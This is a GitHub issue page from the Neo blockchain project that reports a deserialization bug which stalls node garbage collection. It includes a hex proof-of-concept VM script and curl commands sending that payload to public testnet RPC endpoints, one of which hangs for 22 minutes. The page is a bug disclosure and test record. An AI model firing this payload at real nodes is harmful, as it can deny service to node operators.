Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

BinaryDeserialize slows the GC Again #2530

Closed
vang1ong7ang opened this issue Jul 9, 2021 · 2 comments · Fixed by #2531
Closed

BinaryDeserialize slows the GC Again #2530

vang1ong7ang opened this issue Jul 9, 2021 · 2 comments · Fixed by #2531

Comments

@vang1ong7ang
Copy link
Contributor

vang1ong7ang commented Jul 9, 2021

Related to neo-project/neo-vm#418 and #2528

details: lazynode/Tanya#5


PoC

56010c024001001360589d604a8b5824fa02feff0f008d0c0240008b11c0
1f0c0b646573657269616c697a650c14c0ef39cee0e4e925c6c2a06a79e1
440dd86fceac41627d5b5249
@dusmart
Copy link

dusmart commented Jul 9, 2021

Connection timeout encountered after 22 minutes. No result is returned in the test node.
Only a few gases are consumed.

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgEMAkABABNgWJ1gSotYJPoC/v8PAI0MAkAAixHAHwwLZGVzZXJpYWxpemUMFMDvOc7g5OklxsKgannhRA3Yb86sQWJ9W1JJ"] }' http://seed1t.neo.org:20332 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   167    0     0    0   167      0      0 --:--:--  0:22:31 --:--:--     0

@roman-khimov
Copy link
Contributor

roman-khimov commented Jul 9, 2021

Let's see if it can be done today.

It certainly can:

$ time curl -s -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgEMAkABABNgWJ1gSotYJPoC/v8PAI0MAkAAixHAHwwLZGVzZXJpYWxpemUMFMDvOc7g5OklxsKgannhRA3Yb86sQWJ9W1JJ"] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "script" : "VgEMAkABABNgWJ1gSotYJPoC/v8PAI0MAkAAixHAHwwLZGVzZXJpYWxpemUMFMDvOc7g5OklxsKgannhRA3Yb86sQWJ9W1JJ",
      "state" : "FAULT",
      "exception" : "error encountered at instruction 57 (SYSCALL): stack is too big",
      "gasconsumed" : "2835870",
      "stack" : "error: too deep"
   }
}

real    0m0,581s
user    0m0,036s
sys     0m0,004s

IIUC deserializing creates an "impossible" item which leads to "stack is too big". Not sure about the contents of the stack after the syscall, but JSON serialization error suggests that there is some funky nested nested nested thing there and with 0.95.4 we've limited that for user-facing JSON generation (it doesn't have size limit technically).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants